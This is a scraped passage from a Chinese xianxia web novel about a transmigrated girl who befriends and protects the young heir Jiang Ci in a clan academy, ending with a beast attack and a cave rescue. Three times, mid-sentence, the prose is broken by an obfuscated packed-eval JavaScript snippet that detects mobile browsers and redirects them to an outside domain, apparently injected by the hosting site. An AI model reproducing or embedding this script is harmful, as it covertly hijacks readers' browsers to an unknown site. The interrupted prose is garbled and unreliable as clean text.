更何况我一个大姑娘,哪是你说抱就能抱的。 虞知鸢用看傻子一样的眼光盯了他一眼,绕开他的手,径自往门口走去。 遥光也不生气,怡怡然直起身,很是自觉地走到前头去引路。 道场就在昨日去过的学堂后头。 还没走近,就听道场另一侧得试剑台上传来像是剑气相交的声音。 虞知鸢还奇怪这姜氏学宫怎的一大早上就练剑,很快便看见了那个在试剑台上正与几人交手的小小身影。 在她转身躲避剑气时,虞知鸢也终于将她的模样看了个清楚。 她一袭普普通通的月白弟子服,身形消瘦,五官有着一种雌雄莫辨的漂亮和精致,可惜这么漂亮的一张脸却是面无表情,就连眼神都十足淡漠。 一副少年,不,少女老成的模样。 虞知鸢原本以为经过昨日那么一遭,怎么着也要过两日才能再见到姜辞,不曾想这才第二日,姜辞就出现了,还一大早就与几个比她高了一个头都还不止的弟子交上手了。 瞧那几个弟子的模样,少说也有十好几岁了。 【叮~检测到女主即将遭遇危险……】 又来了。 虞知鸢心里翻了个白眼,打断系统道:“还用得着你说。” 那几个弟子不但个头比姜辞高,下手也是毫不留情,纵然姜辞此时灵脉尚未受损,但如今不过是个孩子,还远没到靠天赋就能吊打几个后天培养了好几年的人联手的程度。 眼看着姜辞身上被剑气划破的伤口越来越多,那道瘦弱单薄的身影仿佛下一秒就要倒下,而对方却仍未停手,虞知鸢识海中的警报音也逐渐变得尖锐刺耳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829677|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她五官都快皱到一起,一跺脚,像颗小炮弹一样猛地冲到了纷飞的剑光之中。 其余人包括遥光在内,都不曾料想到这一出,待回过神来,便见那粉嫩嫩的小姑娘已经挡在了姜辞身前。 与之对战的几人修为尚浅,剑气难以收放自如,眼看着其中一道就要落到小姑娘身上去,遥光急忙上前,但也已经来不及阻止。 说时迟那时快,一道更为精纯的灵力突地出现,生生将那道剑气弹开,只听得“刺啦”一声,被弹开的剑气在地面上划出一道浅浅的剑痕。 虞知鸢瞧了眼不知何时出现的谢沉舟,悄悄收回掌中聚起的灵力。 是的,今天睡醒时她就发现自己已经恢复了部分修为,虽不知是怎么回事,但这点修为也够她抵挡掉一部分剑气的伤害,因而方才才敢冲过来挡在姜辞面前。否则就算是借她十个胆,她也不敢拿自己的命来这般逞英雄。 “死丫头,你不要命啦,还不滚开!” 对面领头的少年吊着眼,恶声恶气冲她嚷嚷。 谢沉舟眉心蹙了蹙,缓声道:“姜煜,你方才出手有点重了。” 被唤作姜煜的少年不以为意地哼了一声:“我们也只是与他切磋罢了,他躲不开被打伤是他技不如人,便是家主知道了,也定然不会怪罪于我们。” 虞知鸢昨日并未见过这几人,但听谢沉舟唤他的名字,又见他衣着华贵,说话如此有底气,想来必定是姜家的某支旁系,可既是姜氏旁系,又怎么敢对身为姜氏少主的姜辞下如此重的手? 要知道方才那道剑气要是落到姜辞身上,少说也要去掉她半条命。 而旁的人显然对此也已经见怪不怪。 虞知鸢眉心微皱。 总觉得这事处处都透着诡异。 但这时候她没有多余的时间去思考其中缘由,只双手叉腰,将姜辞护在身后,盯着姜煜道:“你们三个打一个,怎么好意思说是她技不如人,要我说,就是你们以大欺小,以多欺少,这么大的人了还这么不要脸,呸!” 而姜煜和他身后的少年被这么一顶嘴,脸色皆沉了下来。 “区区一个小孤女,简直不自量力。” “一个黄毛丫头也敢与我们作对,也不看看自己是个什么东西,就该让族老把你丢出去。” 虞知鸢板着小脸:“我什么东西你不用管,我只知道你们压根不是个东西!” 这话一出,遥光忍不住嘴角一抽,更是让正要说话的谢沉舟都不禁顿了下。 才这么丁点大的小姑娘,口齿也忒伶俐了些。 虞知鸢虽然现在个子小小,但输人不输阵,吵架最重要的就是要气势足,她深以为然。 也因为她一心和姜煜对骂,也便没有注意到被她护在身后的姜辞已经缓缓站起了身。 他浑身上下都是伤,被剑气划破的衣衫上隐隐渗出血色,瘦弱的身板仿佛风一吹就要倒下。 但他还是站直了身子。 那双如冰雪覆盖着原野,毫无生机的眸子盯住了身前还没他高的小小身影,许久,忽然一闪,眸中也带上了些混乱的茫然。 那头姜煜已经被虞知鸢气得涨红了脸,忽然瞧见她身后满身狼狈,沉默不语的姜辞,那股子火竟奇异地消下去了不少。 纵然再有天赋又如何? 不过一个来历不明的野种罢了,还真当自己是姜氏少主了。 姜煜眼睛一挑,哼笑道:“死丫头这么护着他,是想着等日后他成了姜氏族长,他能赏你一个贴身婢女的职位吗?” 他身后,少年们稚气的哄笑声响彻试剑台。 这话虽是对着虞知鸢说的,但姜煜的眼神却没离开过姜辞,因而他便也没错过姜辞双眼重突然迸出的一点凶狠来,凶狠没能收敛住,连带着杀意都漫了出来。 姜煜被他这眼神一惊,浑身都不自主地僵住了一瞬。 正在此时,试剑台上空忽地漾开一圈儿金色波纹,一股威压凌空而至。 一道威严的声音也随之响起:“何事吵闹?” 虞知鸢循声回头。 来人身着锦衣,端正的五官虽显年轻,却不怒自威,一双漆黑的眼睛更是如猛禽般锐利。 其他人看清姜朝晖的面孔,霎时一阵冷汗,皆战战兢兢地见礼。 “拜见家主。” 11. 第 11 章 姜朝晖并不看他们,视线只落在虞知鸢身上来回打量。 “哪里来的野丫头,不知天高地厚。” 弟子们的目光霎时又落回到了虞知鸢的身上去,以姜煜为首的几人更是面露得意。 而在这样强烈的威压之下,虞知鸢身形不自主地晃了晃,她硬挺着站了一会儿,而后在众人的视线中,毫无形象,一屁股直接坐到了地上。 她不过就是个小萝卜头,要什么尊严,要什么形象,怎么舒服怎么来就是了嘛。 她这边示弱示得毫无心理负担,站在她身后的姜辞见状,眸中却是露出了点措不及防的讶然。 自他有记忆起,他受到的教导便是要行得端站得直,哪怕再累受再重的伤,他的脊背也不能弯下分毫,否则等着他的便是更严厉的斥责和惩罚。 因为他是姜氏未来的少主,他身上背负的是姜氏的未来,他不可以软弱,更不能轻易认输。 他眼神微暗,垂眸掩去眼底的潮涌。 这头谢沉舟定了定神,往前一步向姜朝晖拜道:“家主,阿鸢是前些日子青瑶仙子外出历练时救回来的孤女,她家人皆被妖兽屠尽,青瑶仙子见她天赋尚可,便做主将她收入了学宫。” “青瑶?”姜朝晖一顿,而后又叹了声:“倒是难得。” 听到这话的姜辞也短暂地晃了下神。 姜朝晖将他的表情收入眼底,嘴角抿起一个讥讽的弧度,缓步行至虞知鸢跟前。 小姑娘生得粉雕玉琢,实在是玉雪可爱得紧。尤其是那双天生的水媚眸子,静看像一只慵懒的白猫,眼波一流动又活灵活现地恍若狡猾成性的狐狸。 不难想象再过个几年她会长成如何的倾城之色,而这双眼睛,随其中媚色怕就是能不经意地撩人心魄。 他的目光在虞知鸢身上打量一圈儿,少顷,笑了笑:“好,好极。” 好?好在哪里呢? 其余见状心想,是好在学宫又收了一个天赋尚可的弟子吗? 可学宫中也不乏有天赋的弟子啊,更何况大多都还是拥有姜氏血脉的弟子,而眼前这个不过一个孤女而已,天赋再好又如何,将来谁又能保证她会对姜氏不起别的心思。 虞知鸢看了眼姜朝晖,只觉得他莫名其妙。 地上实在凉,见姜朝晖已经收回了威压,她索性双手撑地又站了起来,看着姜朝晖问道:“你就是家主吗?” 姜朝晖挑眉:“不错,小丫头初入学宫不知礼数便罢,下回可得记得行礼。” 虞知鸢心中直翻白眼。 行什么礼,还行礼。这都修仙界了,你还跟我玩封建社会这一套啊。 她没应声,却是指着姜煜几人道:“这三个人联合起来欺负一个小孩子,您既是家主,应当不会容许学宫中出现霸凌同门的事情发生吧?”更何况这小孩子还是你女儿! 后半句虞知鸢没说出口,但她眼角往姜辞的方向瞟了瞟,自认为眼色已经使得十分到位。 看到她眼神示意的小孩子.女儿.姜辞:“……” 众人更是没料到这小丫头竟然就这么跟姜朝晖告起状来,被她这大胆言行惊了一跳。 然而惊讶过后,姜煜几人心中却并不觉得害怕。 他们不过是与姜辞切磋罢了,弟子之间的切磋时常会有,何况“对姜辞多打磨锤炼,万事皆不必顾忌”原本就是家主示意的,他们这么做,家主又怎会因此责罚他们,反而应当嘉奖一番才是。 姜朝晖也全然没料到这小丫头如此胆大,言行举止间更是表现出来对姜辞的袒护,也不生气,心中甚至对她更满意了几分。 他挑眉,眼底眸光微转,笑问:“哦?那依你之见,我该如何惩治他们?” 他这话一出,以姜煜为首的几人心中皆是一咯噔,各自对视一眼,忍不住动了动唇:“家主……” 话才刚出口,一股灵力便封住了他们的口。 姜朝晖看都没看几人一眼,面上还是保持着温和的笑,对虞知鸢道:“小丫头,这事既是你提出来的,那他们,我便交由你来处置,可好?” 虞知鸢狐狸似的眼睛往上一勾,眼珠子骨碌碌转了几圈,脆声道:“不好。这学宫又不归我管,我现在处置了他们,他们以后再来找我麻烦怎么办?我还是个小孩子呢,他们一掌就能把我打死了。” 哼!别以为我看不出来你想当个好家主,就想借我的嘴来替你女儿出气。 众人:“……” 姜朝晖都噎了噎,却还耐得住性子,正色道:“既如此,便罚他们十五戒鞭,再闭门思过一月。至于你,”他顿了下,瞧了眼始终垂眸一语不发的姜辞,“你与姜辞年岁相当,不如日后便与他一起修炼吧。” 姜辞闻言微怔,犹豫片刻,抬眸望向姜朝晖。 他不知道他这又是什么意思。 是想到了新的训练他的方法了吗? 还是,想用她来对他做些什么? 姜朝晖却没有再给他一个眼神,很快转身拂袖而去。 现场安静了一瞬,遥光最先反应过来,看看姜辞,又看看小脸已经冻得有点红的虞知鸢,一时倒不知是该恭喜她,还是该同情她。 毕竟少主的修行,那可不是一般人能承受得了的。 他想了想,还是没忍住走到虞知鸢跟前交待了一句:“小丫头,不,小师妹,修行不易,万事无需逞强,若是实在受不了,或许可以再求求家主。” 虞知鸢现在兴奋得很,哪里还听得出来遥光的话外之音,她只觉得事情真是太顺利了,她都还没怎么着呢,这就已经混到女主小跟班的位置了。只要跟在女主身边,那还怕找出女主心魔来?助女主通过问心阵不也就是手到擒来的事嘛。 于是等到和谢沉舟带着遥光以及一干人等离开试剑台,虞知鸢立刻回头看向姜辞。 姜辞浑身上的伤口虽然已经没有再流血,但方才的血色早已印到了单薄的月白色外衫上,血迹斑驳,再加上她豆芽菜一样瘦弱的身板,瞧着实在是柔弱又可怜。 虞知鸢目不转睛地盯着姜辞,好一会儿才终于慢半拍地发现姜辞身上的衣衫和她穿的形制并不相同,倒更像是男孩的服饰,再加上她一头黑发只简单扎了个高马尾,瞧着便更像是男孩的打扮了。 好好的女孩子为什么要扮作男孩呢? 她立刻就联想到自己曾经看过的出现在许多小说以及电视剧中的桥段——主母生了女孩,但为了将来能让她执掌家业,便让她自小扮做男孩。 虞知鸢抬眸瞧了瞧周围的恍如金雕玉砌一般的亭台楼阁,当即重重点了下头。 八九不离十了! 光看姜家这豪横程度,再听遥光碎嘴子时说起姜家是什么四大世家之一,世家哎,那不堪比家里有皇位要继承嘛! 所以为了不让这女扮男装的事被人发现,不允其他人与姜辞太过亲近,又为了她将来能够顺利继承家主之位而对她要求严苛,一切都说得通了! 更甚者,即便女孩扮做了男孩,也努力去达到父母心底的期望,可这对狠心的父母说不定心底还因为他是女孩而厌弃她呢! 没想到啊没想到,就连修真界都这般重男轻女,实在可恶! 同样身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829678|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为女孩的虞知鸢无比庆幸自己出生在一个男女平等的时代,尽管她父母早逝,又自小体弱,也从来没有遭到过因为性别的歧视。 她心底越发替姜辞觉得委屈,于是冲他眨了眨眼,拍胸脯保证道:“师妹你放心,以后我罩着你!” 姜辞:“?” 师妹?是在叫他? 他那张向来面无表情的脸皮都禁不住抽动了下。 个子还没他高的小姑娘此时仍仰头看着他,阳光落在她发顶上,照得她的发丝泛出鲜活明亮的色彩,连她的眼珠都是半透明的,像是剔透的琉璃。 她…… 应该不是个小傻子吧? 他微微垂下眼,对上她的眼睛,许久,才动了动唇,嗓音稚嫩沙哑,还带着几分奶气:“学宫内只以入门先后分长幼,你该唤我……师兄。” 虞知鸢一拍脑袋。 嗐!自己这张嘴也真是,怎么一开口就把女主的秘密给暴露出来了。 她立刻朝姜辞眨了眨眼,巴巴地盯住了他,乖顺道:“师兄。” 小姑娘面颊雪白莹润,两腮微鼓,好好说话时声音软软糯糯,像是跟在他撒娇似的。 姜辞晃了一瞬的神,而后便感觉到一抹柔软贴住了他的手。 小姑娘拉着他往试剑台下走,“这里好冷,我们也走吧。” 手上的触感软腻,姜辞略感不适地蜷了蜷指尖,想抽出手,但视线触及到眼前毛绒绒的发顶,不禁微微顿了下。 恰有风吹来,她双垂髻上系着的碧色发带随之高高扬起,拂过他的鼻尖。 他脑中蓦地闪过一个画面,转瞬即逝,他眉头微拧,想要抓住,不妨手被人拖着摇了下。 “你房间在哪儿呀?”虞知鸢左右瞧瞧,认不准路,等了会儿又没等到回应,便转头看向了姜辞。 姜辞这才醒过神来,随即面无表情抽出手,生硬道:“不必。” 本该是一副冷硬的表情,偏偏做出这副表情的是个才十岁上下的小孩儿,这份冷硬便大大打了折扣。 虞知鸢也察觉到他的疏远,却并不感到生气或者难受。 有什么好气的呢? 女主现在才这么丁点大,身上就背负了那么重的担子,也不能交朋友,甚至连生病受伤了都不敢休息。 实在是可怜得紧。 况且她觉得她已经发现了能帮姜辞过问心阵的关键。 不都说童年的创伤会影响人的一生吗?或许就是因为姜家这些事,导致姜辞感受不到人间自有真情在,才在他心里种下了心魔的种子? 越想越觉得有可能,所以她现在要做的一定就是当个温暖小太阳,来拯救美强惨小可怜! 她可以的! 虞知鸢眸光一亮,立刻看住了姜辞,认认真真表现出一副关切的样子,道:“你昨天都晕倒了,今天还受了这么多伤,不好好休息的话身体会落下病根的,万一以后你变成了病秧子,人家一拳就能把你打死,那你以后还怎么执掌家族呀。” 姜辞眉心不着痕迹地皱了下。 她到底是对“别人”的“一拳头”有误解,还是对他有误解? 况且,他身上的伤对他来说也并不严重。其实方才若不是她横插一脚,他拼着再受一道剑伤,也能把姜煜打趴下。 至于昨日…… 他沉默片刻,只低声道:“我没那么容易死。” 虞知鸢哪里知道他在想什么,只当他是在逞强,女主嘛,有点子不服输的气性,嘴硬一点也正常。 但没关系,谁叫她现在是既温暖又善解人意的小太阳呢。 12. 第 12 章 夜色渐浓,暮霭沉沉。 只听“吱呀”一声,门从外打开了。 有风从门外吹入,屋中一点烛火轻晃,映出一道模糊人影。 “这么晚了,阿瑶还不休息?”来人嗓音温和,但细听之下,却并无多少关切之意。 坐在蒲团上的女子抬眼看去,轻轻咳了声,低声唤道:“大哥。” 姜朝晖嘴上噙着笑:“大哥许久未来看阿瑶,阿瑶近来身子可好?” 女子抿了抿唇,点头:“尚可,多谢大哥关心。” “怎的是尚可?我听闻阿瑶前些日子都已经能出门斩杀妖兽了,”姜朝晖踩着不紧不慢的步子走到她身侧,“阿瑶的身子,合该是大好了吧?” 女子,也就姜青瑶摇了摇头,抬手给姜朝晖沏了杯茶,“想来又是有人添油加醋了。大哥也知道我的身子,那日我也只是出门散心,偶然路遇一个被玄羽雪雕攻击的村子,那时村中除一女童外已经没有别的活口,我便顺手将她带了回来。” 姜朝晖在她对面坐下,端起茶杯慢慢转了转,却并未入口,只是朗声笑道:“阿瑶眼光倒真是一如既往的好,顺手捡都能捡回来个天资不错的小丫头。” 他说到这顿了顿,忽而话头一转,叹道:“看来阿瑶心里到底还是记挂着姜家和大哥的,大哥很欣慰。” 姜青瑶将他微妙的转换尽收眼底,垂在一侧的手指几不可察地动了动。 “我已经将她送到阿辞身边,看的出来,她很喜欢阿辞。”姜朝晖轻轻勾了勾唇,低垂的眼睫下,是分不清不耐又或者是厌恶,“我虽是阿辞的舅舅,但你也知道阿辞身上的担子有多重,我不好宠溺他,甚至有时也觉得自己对阿辞是不是太过严苛,想来今后有她的陪伴,阿辞会过得更开心点。” 姜青瑶闻言,握着茶壶的手几不可察地一顿,对上姜朝晖冷冽的黑眸,反应过来,“但那孩子……” “怎么,阿瑶不为他高兴?”姜朝晖打断她,唇角的讥讽随着一盏热茶而消失殆尽,他换上和煦的笑意道:“你是阿辞的母亲,得空也该多去看看他,他会高兴的。” 说完这话,不等姜青瑶再说什么,姜朝晖便搁下茶杯头也不回地走了。 姜青瑶垂着眸,许久,才喃喃道:“可我宁愿他一辈子都不要认我这个母亲。” 屋内重新安静下来,只余一声声低低的咳嗽声不时响起。 /// 虞知鸢初来乍到,便在学宫中出了名。 不仅因为自从试剑台一事后她成了姜辞的小尾巴,并且展现出了极高的修仙天赋,更因为她实在是十足的毒舌和难缠。 学宫中除却少数被收容入学宫的异姓弟子,剩下大部分都是曾经跟姜辞以各种理由动过手的姜氏旁系弟子。 头两天许多人都还不知道她的厉害,听说姜煜被罚,也并不以为然,而后在他们试图再去挑衅姜辞的时候便见识到了虞知鸢的厉害。 当然只是嘴上骂几句也伤不了他们什么,动手教训一下说不定就老实了,可偏偏这死丫头天赋好,才入学宫几天就已经学会了几个小法术,再加上一个姜辞,每每都让他们铩羽而归。 这也就罢了,顶多他们日后不再去招惹姜辞就是,可这死丫头又记仇得很,时不时就给他们来点“惊喜”,藏在被褥中的虫子,随时随地有可能弹到脑袋上的小石子,甚至只是沐个浴,都有可能找不到自己的衣服。 桩桩件件不胜枚举,却又都只是些作弄人的小把戏,没伤到他们一分一毫,他们也没法就因为这些事就腆着脸去找族老,自己都还嫌丢人呢,只能默默咬牙,将苦咽回肚子里。 虞知鸢却玩得很开心,她上辈子是个病弱乖巧的孩子,但没人知道她心底其实很羡慕那些能够上蹿下跳的孩子,捉弄人是不对,但捉弄这些讨厌的人她可是没有半点心理负担。 当然除了玩,她在修炼方面也时刻紧跟姜辞的步伐。 姜辞学炼丹,她烧火,姜辞画符,她夸夸,姜辞练剑,她在旁边……打瞌睡。 咳……小孩子的身体就是容易犯困,这也不是她自己能控制的。 可惜她原本还以为自己已经找到了姜辞的心结所在,帮她看破心魔也就是洒洒水的事,哪知她在学宫一待就是一个月,小太阳都快发光发热成了大火球,术法口诀学了不少,就连剑法都因为日日跟在姜辞身边而长进许多,却偏偏姜辞丝毫被她如此火热的爱感染的迹象,仍然冷冰冰的像个大冰块,从来不笑也很少搭理她。 她一时都有些怀念在凌云宗的那个姜辞了。 虽然那时的姜辞也不主动搭理她,可起码她硬凑上去,她还是愿意跟她讲话的呀。 等到又一日她往姜辞手中塞自己亲手烤的地瓜而被拒绝时,她终于感到了些许挫败。 明明在凌云宗时姜辞也不是那种拒人于千里之外的人啊,她还那么大度,即便是她这个曾经多次伤害过她的人都能轻易原谅,怎么到她小时候,还更难搞了? 小孩子不是应该很好哄吗? 到底是哪里出了问题? 她不会要在姜辞的心魔里被困一辈子吧? 不会吧?!? 她一个头两个大,眼看着那边姜辞又拿起了剑,想起一个月前她便是因为有个剑招没学会而在大雪中练了一整夜,导致第二日脱力晕倒那一回,不禁有些生气。 她往前一扑,直往身前人的身上撞。 姜辞一时没防备,竟是就这么硬生生被她扑到了。 相比于她每日在他身边跟前跟后,不是给他送吃的就是在他耳边念叨“多休息”,这番更接近于带着恶意的接触反而更让姜辞放松。 他并未反抗,只是看着她手脚并用爬到他身上,又将他手里的剑一把抢了过去。 他微微敛着的眸中毫无情绪。 虞知鸢哼了一声,“今天不许练了,你再这样我就不喜欢你了。” 乍然听见这句话,姜辞抬眸朝虞知鸢望去。 雪白粉嫩的小姑娘就这么居高临下看着他,语气奶凶奶凶的,就连脸颊都气得鼓了起来。 姜辞莫名觉得这样的她,好像有点可爱。 “这个地瓜,我刚才烤的时候都差点烫到手了,你还不吃,还有昨日我给你的桂花糕,那可是我求了遥光好几天,他才偷偷溜出学宫去帮我买回来的,还有前日的糯米团子……” “我吃。” 虞知鸢还在控诉他的冷漠无情,突然一顿,才反应过来姜辞好像应了声。 “你说什么?”她看着姜辞。 姜辞顿了下,低低道:“地瓜,我吃,还有桂花糕,糯米团子。” 虞知鸢的脾气来的快去的也快,听他这么说,忙从他身上滚下来,又迈着小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829679|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短腿去把方才她一气之下丢到了地上的地瓜捡回来…… 呃……虽然脏了点,但地瓜本来就是剥皮吃的嘛。 她毫不心虚,献宝似的将地瓜递到姜辞手里,“喏,现在还热呢,你快吃。” 姜朝晖虽对姜辞平日的修行严苛,吃食上却并不苛待,只他自己并无甚喜好。 他对任何事都没有喜好。 姜辞抓起那个已经有些凉了的地瓜,剥开皮,咬了一口。 “怎么样?”虞知鸢眼睛亮晶晶地看着他。 地瓜其实没有完全烤熟,中间的部分还带着些生硬的口感,但姜辞只是道:“不错。”而后三两口便全吃了。 他拍拍手站起身,正要从虞知鸢手里把剑拿回来,腰间的玉牌忽然闪了下。 这块玉牌是姜氏学宫弟子用的通信玉牌,由玄玉制成,正面刻着一个“姜”字,背面则是弟子姓名,用于学宫内弟子的沟通联系,只需往玉牌上注入灵力,便可与其他弟子交流。 虞知鸢也有一块,只不过她那玉牌就没用来办过什么正事。毕竟学宫内的事务,也还轮不到她一个小孩子来插手。 玉牌里传出的是谢沉舟的声音。 “师弟,你和阿鸢现在在哪里?” 与此同时,虞知鸢脑海中也蓦地响起系统的提示音:【叮~检测到妖兽赤焰狮打破封印出逃,正往后山而来,请宿主保护好自己和女主。】 虞知鸢:“!!!你下次能不能早点预警!!!” 另一边姜辞没立即回话,却是忽然抬头看向了西南方向的山坡上,而后才动了动唇,道:“我看到赤焰狮了,它正往后山来。” 虞知鸢顺着他的目光刚转过头,便听到远处传来一声粗犷的野兽嘶吼声。 强大的威压带动起一阵猛烈的狂风,如浪潮向着四周拍打扩散。 赤焰狮有着奇异如火焰一般的毛发,身形虽不是很大,奔跑的速度却极快,恍若一团炽烈燃烧的火焰,而随着它一声长嘶,原本柔软的鬃毛蓦然变的坚硬如铁,又粗又长的尾巴便如同一条被烧得炙烫的长鞭,摆动间轻易便能击碎硕大山石。 谢沉舟那头也听见了动静,声音越发焦急:“你们快跑!能跑多快跑多快,我们这就过来!” 以他们如今的修为,想要对付赤焰狮简直就是天方夜谭! 姜辞也很清楚这一点,于是立刻一把拖住虞知鸢便转身往后跑。 可他们两人加起来也就四根萝卜腿,就是用滚的,都压根滚不过那头猩红着眼明显已经失控了的大家伙。 虞知鸢只埋头跟着姜辞往前冲,不敢回头,但她分明能感觉到背后越发灼热的温度,以及那越来越近,仿佛下一刻就能把她压垮的强悍威压。 她脑中一片空白,在还来不及做出任何反应的瞬间,那威压便直直逼近她的所在。 却并未如她所恐惧的那般穿透她的胸膛。 “轰隆”一声巨响。 她大喘着气,被一道力气摔到了旁边的地上。 而在她抬起头后,眼前的画面便如同慢镜头电影一般,清晰地呈现在她眼前。 五根锋利的巨大尖爪便如同可以燃烧着火焰的利刃一样,笔直地刺穿了那个单薄的身体。 姜辞整个人被巨大的冲击力穿刺着,朝身后的山崖撞去,轰然一声,山石激射,尘埃弥漫一片。 13. 第 13 章 “布阵!” “是!” 无数条隐隐约约的银线自虚空中的一点落下,形成一张巨大网,将那赤焰狮罩住。 随后,数道身影以极快的速度俯冲而下,快速移形换位,高低不一的身影交错而过,无声无息,如鬼魅般飘忽,一晃眼,便形成了一个两两相望的矩阵。 矩阵以族老为中心点,谢沉舟以及另一个学宫弟子为辅佐,迅速拉开一把锋利的长剑形状,将赤焰狮围困在其中。 明明无风,周遭的树木却剧烈地翻掀,虞知鸢小小一团,被这股巨大的力量扫到,整个人都快被掀飞。 她扒拉住一棵大树,目光却死死盯住了姜辞被砸过去的地方。 尘埃缓慢的落定了。 陡峭的山面被姜辞的身体砸出了一个幽深的坑洞,看不到里面的情况。 系统在虞知鸢脑中发出急促尖锐的警报音,她也顾不得其他,眼看赤焰狮已经被那矩阵困住了步子,拔腿便往坑洞口跑过去。 走近了才发现这坑洞里面应当本就有一个空间,而这处山壁薄,被这么一砸,便形成了一个洞口,里头一片漆黑。 借着洞口的光,隐约可见一条阴暗的通道蜿蜒其中,更有一道水流声,似有若无。 系统的警报音一直没停,那就意味着姜辞还没死,既然没死,总是要救一救的。 虞知鸢硬着头皮往里面走去。 洞里头潮湿阴冷,两边的墙壁上满是青苔,丝丝藤蔓从石缝中伸出,纠缠攀绕,布满整个山洞,头顶更是有水滴时不时滴下来。 却是不见姜辞的人影。 虞知鸢打了个寒颤,脚步并未停下。 因着她现在个子矮,时不时就被藤蔓绊一下,摸爬滚跌好一会儿,终于不负她所望,在靠近水流声的地方,脚下踩了个空,整个人十分滚圆流畅地一头掉了下去。 “噗通”一声,水花四溅。 虞知鸢会一些游泳,但不熟练,在水里扑腾一会儿才浮起来,开始顺着水流往前游。 小孩子的身体实在太容易疲累,不久前她才经历了一次夺命狂奔,这会儿才游了一会儿就觉得腿脚酸软,她索性保持着身体浮在水面上,任由水流将她往前带去。 也不知漂了多久,身体忽然撞到了个东西。 虞知鸢猛地一激灵,再一定睛,发现只是一块普通的礁石,而自己所处的位置已经离岸边不远。 她扒着礁石往前游了游,没费什么功夫就到了岸边。 映入眼帘是满目淡紫霞光,既柔和,又缥缈,极似一匹上好紫缎铺散开来。 而岸边地上就不如头顶那么美好柔软了。 只见无数尖刀般锋利的冰晶藤蔓,密密麻麻而又扭曲地交织在一起,几乎铺满了整个河岸,藤蔓尖利的冰刺间还串着无数白骨,其中大多数瞧着都是各种动物的骨头,就像是这些藤蔓在阻拦着所有试图上岸的生物似的。 虞知鸢的目光扫过去,借着头顶微弱的光芒,终于在一处藤蔓未曾完全覆盖的岸边看到了那个满是血色的身影。 顾不上别的,她立刻朝他跑过去,靠近了,才发现她身上被赤焰狮的爪子抓了好几个洞,翻开的皮肉好似被烤熟了似的,焦黑之中还隐约有火星明灭。 赤焰狮是火系妖兽,它造成的伤口便是这般,还会渗进火毒,致使伤口难以自愈。 血还在从伤口处流出来,在姜辞周身漫开一洼血红。 她一头长发凌乱,湿漉漉地贴在额角,鼻梁上还沾着血色,冷白的肌肤因为失了血色几乎变得透明,更是隐隐泛出一股子死人一般的青黑。 虞知鸢心里一咯噔。 虽然系统的警报音停止,就应该证明她没死,但虞知鸢仍是忍不住小心翼翼趴到他身前,颤抖着手去探她的鼻息。 慌乱之下,竟然没能感觉到气息。 虞知鸢都快哭出来了。 她想像上回一样贴到她胸前去听心跳,但看着那几个被炽焰狮爪子戳出来的血洞,又怕不小心弄疼了她,她想把她抱到一个干燥点的地方,可自己现在的身体比她还小上一号。 虞知鸢面上露出了点不知所措的神色。 “姜辞?”她的嗓音带上了点哭腔,“姜辞,你醒醒啊。” 无人应声。 她立刻伸手去解自己身上的通信玉牌,发现玉牌不知道什么时候弄丢了,于是又去解姜辞身上的,打算给其他人发个消息,让他们赶紧过来救人。 可灵力注入玉牌,玉牌却没有丝毫反应,她立马反应过来,这个地方应该是被人设了禁制,通讯玉牌也无法联系到外界。 她又呼唤系统,奈何系统这时候又像不存在一样,不给她半点回应。 虞知鸢气得忍不住掉了几滴眼泪,再看到躺在碎石遍布的滩涂上,恍若已经死了的少女,鼻头酸意瞬间一涌而上。 半刻后,细细的啜泣声变成了嚎啕大哭声,在空洞的山洞中不断回响。 “姜辞,姜辞,你快醒醒啊……” 姜辞有一阵确实失去了意识,但在虞知鸢叫他的时候,他就已经渐渐苏醒过来。 但他实在太疼了,也太累了,连睁开眼睛,动动嘴的力气都没有。 他甚至在想,要是自己这么死了或许也挺好的,至少,他不用再这么累了。 可耳边的声音实在太吵,吵得他头痛又难受,像是脑袋都要裂开来了, 他的嘴唇蠕动了下,从喉咙里挤出一声气声:“别……吵。” 他以为他的声音很大,实际上跟虞知鸢此时的哭声比起来,那么一点声音就约等于没有,根本没听到一丁点。 幸而虞知鸢也没哭太久,她也不知道自己为什么会哭成这样,她上辈子缠绵病榻,医生早便告诫过她情绪不能太过激动,她也从没有大哭或是大笑过。 难道是因为现在自己变成了个小孩子,所以真把自己活成个爱哭的小孩子了? 不行不行,她得坚强,她内心可是个成年人! 她擦了擦脸颊上的眼泪,也没注意到姜辞其实已经醒了,避开伤口处,在她身上摸索起来。 她记得之前姜辞有炼过几颗聚灵丹,虽然等级不高,疗伤效果没有那么好,但也聊胜于无,只希望丹药还在她身上。 